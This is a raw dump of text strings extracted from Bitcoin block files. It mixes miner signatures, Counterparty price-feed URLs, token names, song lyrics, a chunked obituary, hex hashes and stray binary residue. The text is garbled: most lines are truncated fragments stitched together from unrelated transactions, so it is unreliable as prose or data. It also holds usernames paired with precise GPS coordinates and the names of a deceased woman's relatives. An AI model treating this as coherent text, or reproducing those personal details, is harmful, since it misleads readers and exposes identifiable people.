4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
Mined by huangweicai
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
Mined by qq1009756186
Mined by abc888515424
Mined by cyha20140108
Name That Blockchain
Everybody should have oneR
File: blk00157.txt
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
Mined by lizhixiang8858
@charley,37.772618,-122.412375po
"j @ryaneshea,37.388042,-122.085663@`
Token for Ribbitcoin
Stealth mode project
Stealth mode startup
Mined by cyha20140108
Mined by wangxingsmile
Mined by qq1580833384
@Mined by woaishenyu001
Rz-~Uz! xcp.com/feed/177
Mined by qq1308955127
Mined by haolikuangji
! ps://xcpfeeds.info/static/live/fR
>Mined by arendelle0ls
! ps://xcpfeeds.info/static/live/uR
! ps://xcpfeeds.info/static/live/uR
3! ps://xcpfeeds.info/static/live/uR
! feeds.info/static/live/ufc_0716_R
3! feeds.info/static/live/ufc_0716_R
! feeds.info/static/live/ufc_0716_R
! feeds.info/static/live/ufc-1.jsoR
3! feeds.info/static/live/ufc-4.jsoR
! feeds.info/static/live/ufc-3.jsoR
! feeds.info/static/live/ufc-5.jsoR
Mined by wanggang189
@charley,37.772620,-122.412343`H
Biz Stone's Philanthropy R
Not the first, but the seR
http://msge.us/repos/4
Hermes Global Partners CrR
The official currency of R
For people you don't likeR
Mined by zjx329154546
Mined by zhaodong1982
u=https://cpr.sm/LnDOvA8w_e
u=https://cpr.sm/LnDOvA8w_e`
u=https://cpr.sm/iMEfm6nrBm8]
u=https://cpr.sm/iMEfm6nrBm
u=https://cpr.sm/az6NJXRJ1j8]
u=https://cpr.sm/az6NJXRJ1j
&More info: transparenteurR
u=https://cpr.sm/iMEfm6nrBm
u=https://cpr.sm/az6NJXRJ1j
! ps://xcpfeeds.info/static/live/fR
! ps://xcpfeeds.info/static/live/uR
! ps://xcpfeeds.info/static/live/uR
3! ps://xcpfeeds.info/static/live/uR
! feeds.info/static/live/ufc_0719-R
! feeds.info/static/live/ufc_0719-R
! feeds.info/static/live/ufc_0719-R
Mined by wangxingsmile
The science of vine-growR
%Oenology is the science oR
(Currency of the Anti-bitlR
Mined by wangxingsmile
"FORMICAMARCIACOIN ERA TROR
Mined by yuanwenjing
(Currency of the Anti-bitlR
! p://betxcp.com/feed/179
B|! xcp.com/feed/183
B|! xcp.com/feed/183
B|! xcp.com/feed/183
Mined by cyha20140108
B|! xcp.com/feed/183
Mined by zhangjunfeng
]yMined by niekecheng
Mined by zhaodong1982
A Philanthropy Coin
Mined by zhaodong1982
Mined by hujiqi168138
Mined by a13959555958
File: blk00158.txt
Mined by chenjialong
u=https://cpr.sm/_bCXwGsec8
Mined by liuchunwei11
http://www.nofiatcoin.comR
Mined by lglorgpp19861
Mined by chenjialong
A penny for your thoughtsR
%What it says on the tin..R
Mined by huangqizhang
Ql! xcp.com/feed/194
cp! xcp.com/feed/189
}[! xcp.com/feed/208
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
"j @maybolles,37.762938,-122.411229p
Mined by linshen2014
Mined by lz272202222
assets.ingesture.com/solvR
assets.ingesture.com/propR
assets.ingesture.com/callR
assets.ingesture.com/raisR
$SolarWindMining.Com HashiR
assets.ingesture.com/blufR
assets.ingesture.com/blufR
assets.ingesture.com/foldR
assets.ingesture.com/takeR
assets.ingesture.com/checR
assets.ingesture.com/tellR
assets.ingesture.com/starR
assets.ingesture.com/zeroR
Mined by zcw13623028508
assets.ingesture.com/readR
assets.ingesture.com/holdR
assets.ingesture.com/reveR
assets.ingesture.com/rakeR
Mined by qq785066685
Mined by qq1009756186
Mined by lvzhaocheng
u=https://cpr.sm/mZ3K7WEth6
Ql! xcp.com/feed/194
}[! xcp.com/feed/208
cp! xcp.com/feed/189
#http://7el.us/QUBE or httR
(http://7el.us/BRICK or q3R
&,! xcp.com/feed/231
xd! xcp.com/feed/249
8E! xcp.com/feed/242
R )! xcp.com/feed/255
fT! xcp.com/feed/262
!Transacted in the name ofR
3Mined by he92611091
http://www.foldingcoin.neR
Mined by liuyingxu014
Mined by zhaodong1982
! feeds.info/static/live/ufc-5.jsoR
! feeds.info/static/live/ufc_0719-R
! ps://xcpfeeds.info/static/live/uR
! feeds.info/static/live/ufc_0719-R
$Creativity Resources AppsR
u=https://cpr.sm/3nLkqbjFDT
Mined by caiweiqiang
! feeds.info/static/live/btc-usd.jR
&,! xcp.com/feed/231
8E! xcp.com/feed/242
R )! xcp.com/feed/255
fT! xcp.com/feed/262
xd! xcp.com/feed/249
Mined by zhengma0612
Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
Mined by qq1030015233
Gk! feeds.info/static/live/gold-usd.R
d4! xcp.com/feed/286
(#! xcp.com/feed/287
FC! xcp.com/feed/278
Gk! feeds.info/static/live/gold-usd.R
assets.ingesture.com/watcR
assets.ingesture.com/sellR
@charley,37.773509,-122.413257P!
@charley,37.773509,-122.413257`
@charley,37.773509,-122.413257P
http://msge.us/repos/5
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
assets.ingesture.com/grokR
assets.ingesture.com/tossR
assets.ingesture.com/makeR
assets.ingesture.com/deleR
assets.ingesture.com/findR
assets.ingesture.com/omitR
assets.ingesture.com/cleaR
! feeds.info/static/live/btc-usd.jR
assets.ingesture.com/gotoR
assets.ingesture.com/bribR
assets.ingesture.com/earnR
assets.ingesture.com/purcR
assets.ingesture.com/bartR
assets.ingesture.com/remoR
assets.ingesture.com/signR
assets.ingesture.com/enteR
assets.ingesture.com/laugR
assets.ingesture.com/builR
assets.ingesture.com/provR
assets.ingesture.com/grinR
assets.ingesture.com/follR
assets.ingesture.com/leavR
assets.ingesture.com/wishR
assets.ingesture.com/stopR
assets.ingesture.com/needR
assets.ingesture.com/thinR
Mined by czp568449616
assets.ingesture.com/planR
assets.ingesture.com/planR
assets.ingesture.com/warnR
assets.ingesture.com/sendR
! feeds.info/static/live/btc-usd.jR
assets.ingesture.com/starR
! feeds.info/static/live/btc-usd.jR
assets.ingesture.com/starR
assets.ingesture.com/forkR
d4! xcp.com/feed/286
(#! xcp.com/feed/287
FC! xcp.com/feed/278
mybroisbeingderpy...
! feeds.info/static/live/btc-usd.jR
Gk! feeds.info/static/live/gold-usd.R
! feeds.info/static/live/btc-usd.jR
assets.ingesture.com/flagR
! feeds.info/static/live/btc-usd.jR
*?*! xcp.com/feed/302
8m! xcp.com/feed/315
]q;! xcp.com/feed/321
;;_! xcp.com/feed/317
pKN! xcp.com/feed/314
xT! xcp.com/feed/322
@charley,37.771257,-122.413484@
Gk! feeds.info/static/live/gold-usd.R
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
@charley,37.773509,-122.413257
Mobilized Entertainment, R
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
)Crypto-Rewards Program htR
Fantasy sports token.
Mined by wmf136169083
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/feed-8.jsR
Tokens for Strange MembraR
[UUMined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
File: blk00159.txt
! feeds.info/static/live/btc-usd.jR
fMined by a409943480
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by hongkongminers
Gk! feeds.info/static/live/gold-usd.R
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
j=! xcp.com/feed/337
S! xcp.com/feed/355
J@9?! xcp.com/feed/358
LV! xcp.com/feed/336
kyI)! xcp.com/feed/341
Z!! xcp.com/feed/348
j6! xcp.com/feed/326
gm! xcp.com/feed/339
O{! xcp.com/feed/357
! feeds.info/static/live/btc-usd.jR
u=https://bullionbitcoin.com/
! feeds.info/static/live/btc-usd.jR
Mined by cyha20140108
! feeds.info/static/live/btc-usd.jR
Mined by yinghongwei
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/Yi6KfG4z8o(
Gk! feeds.info/static/live/gold-usd.R
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
)The Crypto of a humble teR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
Mined by manzixun130204
! feeds.info/static/live/btc-usd.jR
8m! xcp.com/feed/315
xT! xcp.com/feed/322
j=! xcp.com/feed/337
J@9?! xcp.com/feed/358
*?*! xcp.com/feed/302
;;_! xcp.com/feed/317
pKN! xcp.com/feed/314
]q;! xcp.com/feed/321
LV! xcp.com/feed/336
j6! xcp.com/feed/326
kyI)! xcp.com/feed/341
Z!! xcp.com/feed/348
gm! xcp.com/feed/339
O{! xcp.com/feed/357
S! xcp.com/feed/355
Mined by bagssandymi
(BitBowl Team Token - www.R
! feeds.info/static/live/btc-usd.jR
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
! feeds.info/static/live/btc-usd.jR
Gk! feeds.info/static/live/gold-usd.R
! feeds.info/static/live/btc-usd.jR
$Access token for LetsTalkR
)Visit http://www.tatianacR
assets.ingesture.com/hushR
assets.ingesture.com/waitR
assets.ingesture.com/thumR
assets.ingesture.com/thumR
Mined by fengdongping
Mined by zhouning6000
assets.ingesture.com/propR
assets.ingesture.com/propR
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/bs1myTHRNi
u=https://cpr.sm/NCCM_3Qk7L
u=https://cpr.sm/bs1myTHRNi
! feeds.info/static/live/btc-usd.jR
HMined by songzhanfu
u=https://cpr.sm/bs1myTHRNi8]
! feeds.info/static/live/btc-usd.jR
Hometown Heroes Daily curR
(The official coin of the R
u=https://cpr.sm/4CSBLcMgRB8]
! feeds.info/static/live/btc-usd.jR
Mined by sxwo47995152
(BitBowl Team Token - www.R
! feeds.info/static/live/btc-usd.jR
Gk! feeds.info/static/live/gold-usd.R
! feeds.info/static/live/btc-usd.jR
!http://joelooney.org/ltbcR
Mined by zhaodong1982
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
! feeds.info/static/live/btc-usd.jR
Mined by a13559309558
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by dxl1250540350
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/1hECGVQKY5
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
b8V>! xcp.com/feed/398
~Z! xcp.com/feed/399
S,! xcp.com/feed/421
! feeds.info/static/live/btc-usd.jR
Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
Mined by qq2636534505
!http://joelooney.org/ltbcR
Mined by jiangshan28
! feeds.info/static/live/btc-usd.jR
)Google doc on the way, deR
! feeds.info/static/live/btc-usd.jR
Mined by xushiming123
http://goo.gl/uS5XO0
Mined by x13866896655
assets.ingesture.com/pawnR
! feeds.info/static/live/btc-usd.jR
gtL! xcp.com/feed/370
wT! xcp.com/feed/375
ZZ5! xcp.com/feed/368
gtL! xcp.com/feed/370
wT! xcp.com/feed/375
ZZ5! xcp.com/feed/368
&3 N! xcp.com/feed/388
S,! xcp.com/feed/421
~Z! xcp.com/feed/399
!bE! xcp.com/feed/400
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
!dlroW nioctiB olleH : tset
! feeds.info/static/live/btc-usd.jR
Mined by qqq71778306
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
File: blk00160.txt
Mined by weishengpack
! feeds.info/static/live/btc-usd.jR
/] ! xcp.com/feed/434
G*! xcp.com/feed/423
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! feeds.info/static/live/btc-usd.jR
@charley,37.772629,-122.412305
Bitcoin Payment Gateway
Mined by zhaodong1982
'User Barter Token for PerR
! feeds.info/static/live/btc-usd.jR
"Group Buy Mining PaymentsR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
9n! DW BITCOIN DIFFICULTY
! feeds.info/static/live/btc-usd.jR
Mined by crc15960359777
|C)H! xcp.com/feed/427
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! feeds.info/static/live/btc-usd.jR
Mined by tangsuchuan
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
"http://danielpbarron.com/R
#Mined by arendelle1dm
&PT CRYPTO Digital CurrencR
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Mined by wangxingsmile
! feeds.info/static/live/btc-usd.jR
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Mined by zhangwei66677
! feeds.info/static/live/btc-usd.jR
)Crypto-Rewards Program htR
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u=https://cpr.sm/l6IGjQmS5jX
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1dm
Mined by wanglijunbtc
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
any tokens received go toR
Mined by wangxingsmile
Mined by xiongxiaolong
! feeds.info/static/live/btc-usd.jR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by wangshengi01
^UUMined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by chenjialong
Mined by xushiming123
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by lihuajun8889
Mined by liugonggong
! feeds.info/static/live/btc-usd.jR
Mined by liuyingxu014
Mined by cyha20140108
Mined by lixiaokt1worker
! feeds.info/static/live/btc-usd.jR
Mined by jzy123456789
Mined by arendelle0ls
u=https://cpr.sm/KulxiTm-0Y
u=https://cpr.sm/W7MmTXTcwx
u=https://cpr.sm/W7MmTXTcwx
! feeds.info/static/live/btc-usd.jR
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(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
(BitBowl Team Token - www.R
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@Mined by linshen2014
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
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u=https://cpr.sm/KulxiTm-0Y
! feeds.info/static/live/btc-usd.jR
www.bitcoincomic.com
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! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
File: blk00161.txt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
"Group Buy Mining PaymentsR
"SolarWindMining.Com 1 GHSR
! feeds.info/static/live/btc-usd.jR
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u=https://cpr.sm/VYpxTw_sm0(6
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! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
Mined by zjx2560982240
! feeds.info/static/live/btc-usd.jR
Mined by qq1580833384
! feeds.info/static/live/btc-usd.jR
Mined by f2poolandrew
u=https://cpr.sm/XaPaOccLS-
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! feeds.info/static/live/btc-usd.jR
@charley,37.772667,-122.412318
Mined by zhenxijiao713
u=https://cpr.sm/Orpcws-o3U
! feeds.info/static/live/btc-usd.jR
Mined by startover219
Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by jzy123456789
! feeds.info/static/live/btc-usd.jR
"United States Commodity IR
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! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
Mined by go422178119
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
%For bioinformaticians andR
! feeds.info/static/live/btc-usd.jR
\{"min_fund":"10000R
:;! 0000","title":"LIVE Series - TheR
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:;! },{"max":10,"price":105000000,"lR
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Mined by cyha20140108
$Boosting AI industry at cR
Mined by chenyun0554
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
Mined by w18653176604
! feeds.info/static/live/btc-usd.jR
"Group Buy Mining PaymentsR
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
hiharu's family to v
n July 21, 1931 in I
pswich South Dakota
to Andrew and Kather
ine Thares. She was
the fifth of six chi
ldren, and spent her
youth in the Ipswic
h area, until marryi
Torp on February 3,
y wife, for the next
17 years she would
move all over the co
untry from New Jerse
y to Alaska, with st
ops in Michigan, Mis
souri, Texas and Ken
tucky along the way.
In between moves sh
e gave birth to 7 ch
ildren, and managed
her growing househol
d, often single hand
edly, as her husband
was deployed overse
Army retirement in 1
968 she was finally
able to put down per
manent roots near Ra
pid City South Dakot
a. She became active
in her church and w
as honored to be ask
ed to be the Altar S
ociety President of
her parish at St The
rese. Her house was
always open, and she
loved to bake, play
cards, and visit wi
th friends and famil
y from near and far.
ved to the Minneapol
is area in 1997 to b
e near family, and s
oon joined the All S
aints parish in Lake
ville. Betty is welc
omed into heaven by
her parents, her son
Andrew, her daughte
r Loraine White, her
son in law Thomas D
ooley, her sister an
d brother in law Mar
y and Leonard Lipper
t, sister in law Rit
a Thares, and baby b
rother Donald Thares
life today are her
children: Karen Dool
ey, Janice Tharp (Br
yan), Ingrid Maher (
William), Guthrie Jr
and Katherine Egger
s (Mark), her brothe
rs: Tony Thares, Ber
nard Thares (Delores
), and Louis Thares
(Helen), and her 11
grandchildren and 11
great grandchildren
, along with scores
of nieces, nephews,
and extended family
members, both relate
d and not, that she
touched along the wa
((((((((((((((((((((
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d14341e6b2a212670fd1
9f242346756d7d0f4858
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720ab5a4d2b0ad7b4899
fabfe8f9285823e80597
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
In-Game Treasure Hunt TokR
! feeds.info/static/live/btc-usd.jR
in-Game Treasure Hunt CoiR
in-Game Treasure Hunt TokR
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! feeds.info/static/live/btc-usd.jR
Mined by lixiaokt1worker
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
File: blk00162.txt
! feeds.info/static/live/btc-usd.jR
Mined by qq535112234
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
In-Game Treasure Hunt
http://blog.swarmcorp.comR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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Mined by zhongyunlong01
$/mining.bitcoinaffiliatenetwork.com/
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! feeds.info/static/live/btc-usd.jR
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Mined by f2poolandrew
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
Mined by lz272202222
! feeds.info/static/live/btc-usd.jR
Mined by haolikuangji
Bitcoin Merchant Forward
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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@Rodomonte,41.892916,12.482520
! feeds.info/static/live/btc-usd.jR
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Mined by w2090843408
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Official ASICRunner mininR
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u=https://cpr.sm/OrMIHDA0xj
u=https://cpr.sm/JBIOtousWu
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u=https://cpr.sm/MRhAZRdGII0
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! feeds.info/static/live/btc-usd.jR
Mined by wangxingsmile
u=https://cpr.sm/Dg0PFPAf9a
5c2fa21549641c4c1784
7179ebac054f0900a097
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u=https://cpr.sm/fatQeH01DJt
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! feeds.info/static/live/btc-usd.jR
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Mined by cyy64792589
! feeds.info/static/live/btc-usd.jR
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! feeds.info/static/live/btc-usd.jR
jMined by boykky1231
@j> 34567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
Hi Jesse, from Denis.
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jZ! xcp.com/feed/718
7^! xcp.com/feed/724
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! feeds.info/static/live/btc-usd.jR
"177"The Sato Family
Arrives from Japan!
(Keiko, Chiharu, Hid
Now preparing for th
e Sato / Bobby Great
American Vacation!!
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df66ccb7d20f635c1e34
1438f16fd213377a40f2
55ae416175afe027228e
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48954060dde3030cd2f0
3f33d6de09646f4355e1
d6264fc6371480e1362d
8eeb06c5e601688eb5c4
! feeds.info/static/live/btc-usd.jR
Mined by zwx551743501
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
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! u0002","prj_tx_hash":"0ed1de9d61R
! abf99d3d7a5336b5d934e4781d6aa6c4R
9802fc182bc0f52950dccd"}
! feeds.info/static/live/btc-usd.jR
!dlroW nioctiB olleH : 1tset
! feeds.info/static/live/btc-usd.jR
00332913969fa71f3926
168ab6498b2a39db2cf2
70674121fa44140a73de
ec96<264|00332913969
fa71f3926168ab6498b2
a39db2cf270674121fa4
dfbbf024705a93ecb027
8ae3eb6e4940e80207a6
5a554e43fe6de296a38c
863e240d6ab92005caea
f1cfcc7d01b82400e83f
d0135e4b93af97efafbb
44e76cc44d7487c6446c
6c139bbb200f90b285f6
76e1023f54c05e1cdf0d
3b00/330:44e76cc44d7
487c6446c6c139bbb200
f90b285f676e1023f54c
c28d2479f1de680d02b4
546f8640f4cdef5160bd
986a3b1ecf3e5ea7994c
25d7ea4ebc85e69a02a2
c5f7a8cd52cf190b7e13
68c7f97fe4efbff7a5b6
0df73fac061155941e6f
99451d7084b4701ab258
1677b7a25d82dbe0e292
54f30e162eebb952e8b7
6b7aa6b91d41bb633838
8c65:330<1677b7a25d8
2dbe0e29254f30e162ee
bb952e8b76b7aa6b91d4
6e51f7bbf2e81ed956fd
fcc43b39dbfd4a97b01c
cfa5d0ef872ad87af855
8f4fb65a9caebc604660
ccbcb1f61ab8e886e421
6b74371d87b0a3f7f98b
8eee133be2f3a3f5e5ce
4360923c73a1c40b09a5
Mined by jzy123456789
! feeds.info/static/live/btc-usd.jR
Mined by wangxingsmile
(0! xcp.com/feed/782
o~! xcp.com/feed/807
File: blk00163.txt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Lets work on Buckets
Austrians Glassing Dingos
(j&Hey Austin when is lunch getting here?
! feeds.info/static/live/btc-usd.jR
?k! xcp.com/feed/763
=#! xcp.com/feed/758
j}! xcp.com/feed/756
! feeds.info/static/live/btc-usd.jR
Mined by xwd305486616
! feeds.info/static/live/btc-usd.jR
Mined by zxb798587891
! feeds.info/static/live/btc-usd.jR
"http://danielpbarron.com/R
"http://danielpbarron.com/R
ONE SHARE = MARKET CAP
intense or passionate disR
"You must believe the entiR
!YHWH is the most holy namR
! feeds.info/static/live/btc-usd.jR
(Redeemable for retweet byR
u=https://cpr.sm/yoa3bg1lED
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/T0N66eYd9r
@Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
Mined by liugonggong
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
v3Mined by woaikongxb
u=https://cpr.sm/0ENAUHDoPZ
! feeds.info/static/live/btc-usd.jR
(0! xcp.com/feed/782
o~! xcp.com/feed/807
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
Mined by xushiming123
! feeds.info/static/live/btc-usd.jR
http://charitycoin.co.uk
I declare AssemblyCoins!X
nI! xcp.com/feed/846
."! xcp.com/feed/816
.9! xcp.com/feed/856
.y! xcp.com/feed/852
J~]! xcp.com/feed/850
FDI! xcp.com/feed/854
f=<! xcp.com/feed/812
! feeds.info/static/live/btc-usd.jR
)www.zigler.us/Bookbag/ crR
I declare AssemblyCoins!X
! feeds.info/static/live/btc-usd.jR
"j 0 Im Jahr 1986 gab Gro
'j%0 Austria is on the continent of EuroW
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by ziyoufeixiang
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/Z0MNTHoMLK8]
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by chenchunlei
J~]! xcp.com/feed/850
nI! xcp.com/feed/846
.9! xcp.com/feed/856
f=<! xcp.com/feed/812
FDI! xcp.com/feed/854
."! xcp.com/feed/816
.y! xcp.com/feed/852
! feeds.info/static/live/btc-usd.jR
&Total Worlds Economy Is R
@d! xcp.com/feed/873
Y~_! xcp.com/feed/885
y_! xcp.com/feed/878
;e! xcp.com/feed/887
AH)D'^! xcp.com/feed/869
#b! xcp.com/feed/892
)/1! xcp.com/feed/865
! feeds.info/static/live/btc-usd.jR
Mined by qq1503834230
! feeds.info/static/live/btc-usd.jR
@Rodomonte,41.892916,12.482520
@Rodomonte,41.905723,12.421185
@el33th4xor,36.761920,27.876198
@Rodomonte,41.892916,12.482520
@Rodomonte,41.905723,12.421185
@el33th4xor,36.761920,27.876198
@charley,37.771243,-122.430180
@Rodomonte,41.892916,12.482520
@Rodomonte,41.892916,12.482520`H
@charley,37.771225,-122.430288
@mattmatt,37.771287,-122.430219
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
@seannui,39.753644,-104.998236
@charley,37.770880,-122.432001
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
World Crypto Network
Town Hall Meeting 2
: 7ab5ad9e796a576986
1f074d5d24ccf90c440d
b1a8a059fe0e56a2521c
http://youtu.be/hOYf
Mined by huangtingting
! feeds.info/static/live/btc-usd.jR
"298\My Dearest Chih
Aug 6th 2014 in Ipsw
ed at 69MPH with The
Atom Sea driving th
e first leg of "The
Greatest American Fa
mily Vaction"....The
Radio is playing A
hazy shade of winter
....It's the spring
((((((((((((((((((((
cc267acc6b04efc1ec5a
386386045cc682abf33e
465a5360df511b5a0f84
7831*396\cc267acc6b0
4efc1ec5a386386045cc
682abf33e465a5360df5
fefdd640d28e6dab81a1
e825a0e4f0b94d5e4e48
280e305520eb1d563771
47f074be1703307704a8
22c6956ed16e2da2986c
712e053cd10565172ac9
e52b80178778bb98795a
0377c2983279755e7db1
4a2fcfd8b183489704e1
e7512cbf271fce138761
a671d509c655422a7e29
! feeds.info/static/live/btc-usd.jR
Mined by cjs18665506868
DDRCoin - The exercise coR
! feeds.info/static/live/btc-usd.jR
ax! xcp.com/feed/912
4[! xcp.com/feed/911
Zq! xcp.com/feed/907
[yTh! xcp.com/feed/908
@Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
www.EnableNSASurveil
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
http://www.cutekitty
fail.com/cat-does-ma
$/mining.bitcoinaffiliatenetwork.com/
@d! xcp.com/feed/873
Y~_! xcp.com/feed/885
#b! xcp.com/feed/892
)/1! xcp.com/feed/865
y_! xcp.com/feed/878
;e! xcp.com/feed/887
AH)D'^! xcp.com/feed/869
! feeds.info/static/live/btc-usd.jR
JMined by boykky1231
&Total Worlds Economy Is R
! feeds.info/static/live/btc-usd.jR
Mined by zhouning60000
9n! DW BITCOIN DIFFICULTY
File: blk00164.txt
! feeds.info/static/live/btc-usd.jR
I declare ShinyBeads!%
SYNTHETIC PUT SPREAD
Mined by jiangtianyihe12
! feeds.info/static/live/btc-usd.jR
I declare DingoBucks!
I declare KiwiShillings!
! feeds.info/static/live/btc-usd.jR
I declare KiwiShillings!U
I declare KiwiShillings!1I
Divisible Rox www.tetranoR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
ILUVCHRISTINASAMPSON
Mined by zhaoguofeng333
! feeds.info/static/live/btc-usd.jR
